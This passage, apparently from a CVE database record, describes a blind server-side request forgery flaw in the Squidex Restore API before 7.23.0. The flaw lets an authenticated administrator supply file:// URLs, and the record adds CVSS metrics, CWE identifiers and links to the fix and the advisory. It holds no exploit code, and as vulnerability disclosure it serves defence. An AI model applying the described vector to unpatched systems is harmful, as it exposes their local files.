Prior to version 7.23.0, the Squidex Restore API is vulnerable to Blind Server-Side Request Forgery (SSRF). The application fails to validate the URI scheme of the user-supplied `Url` parameter, allowing the use of the `file://` protocol. This allows an authenticated administrator to force the backend server to interact with the local filesystem, which can lead to Local File Interaction (LFI) and potential disclosure of sensitive system information through side-channel analysis of internal logs. Version 7.23.0 contains a fix."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:L", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.2, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-73"}, {"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/Squidex/squidex/commit/b81d75e1d9c1a8e30993c2ee59b350002b9aeda4", "source": "[email protected]"}, {"url": "https://github.com/Squidex/squidex/security/advisories/GHSA-45fq-w37p-qfw5", "source": "[email protected]"}, {"url": "https://github.com/Squidex/squidex/security/advisories/GHSA-45fq-w37p-qfw5", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}
